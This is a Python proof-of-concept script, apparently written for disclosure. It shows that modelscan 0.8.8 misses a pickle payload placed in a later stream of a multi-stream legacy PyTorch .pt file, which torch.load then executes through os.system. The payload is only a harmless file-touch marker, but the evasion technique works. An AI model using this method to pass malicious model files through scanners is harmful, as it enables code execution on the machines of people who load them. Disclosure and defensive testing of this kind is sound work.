#!/usr/bin/env python3
"""Self-contained PoC: modelscan 0.8.8 inspects only the first of multiple sequential
pickle streams in a PyTorch legacy .pt, reporting a malicious file as clean while
torch.load(weights_only=False) executes the payload.

Requires: modelscan==0.8.8, torch.  Run:  python poc.py
Payload is a benign marker (touch MP_legacy_pwn); no network, no destructive action.
"""
import os, sys, pickle, subprocess

MAGIC = 0x1950a86a20f9469cfc6c  # PyTorch legacy magic number


def build_multi(path):
    # Valid legacy layout torch._legacy_load expects: magic, protocol, sys_info,
    # main object (payload here), then deserialized storage keys (empty -> no
    # trailing storage data). The empty-keys stream makes torch.load() return
    # cleanly WITHOUT EOFError, so this is a well-formed file, not a malformed one.
    class Payload:
        def __reduce__(self):
            return (os.system, ("touch MP_legacy_pwn",))
    streams = [pickle.dumps(MAGIC), pickle.dumps(1001), pickle.dumps({}),
               pickle.dumps(Payload()), pickle.dumps([])]
    with open(path, "wb") as f:
        f.write(b"".join(streams))


def build_single(path):
    class Ctl:                           # same operator, single stream (control)
        def __reduce__(self):
            return (os.system, ("true",))
    with open(path, "wb") as f:
        f.write(pickle.dumps(Ctl()))


def scan(path):
    r = subprocess.run(["modelscan", "-p", path], capture_output=True, text=True)
    return r.stdout + r.stderr


build_multi("evil_legacy.pt")
multi_clean = "No issues found" in scan("evil_legacy.pt")

if os.path.exists("MP_legacy_pwn"):
    os.remove("MP_legacy_pwn")
import torch
load_ok = False
try:
    torch.load("evil_legacy.pt", weights_only=False)
    load_ok = True                       # well-formed file: loads without error
except Exception:
    pass
executed = os.path.exists("MP_legacy_pwn")

build_single("evil_single.pkl")
single_flagged = "system" in scan("evil_single.pkl").lower()

print("multi-stream .pt scan clean :", multi_clean)
print("torch.load completed cleanly:", load_ok)
print("loader executed payload     :", executed)
print("single-stream control flagged:", single_flagged)
ok = multi_clean and load_ok and executed and single_flagged
print("RESULT:", "PASS - scanner bypass confirmed" if ok else "FAIL")
sys.exit(0 if ok else 1)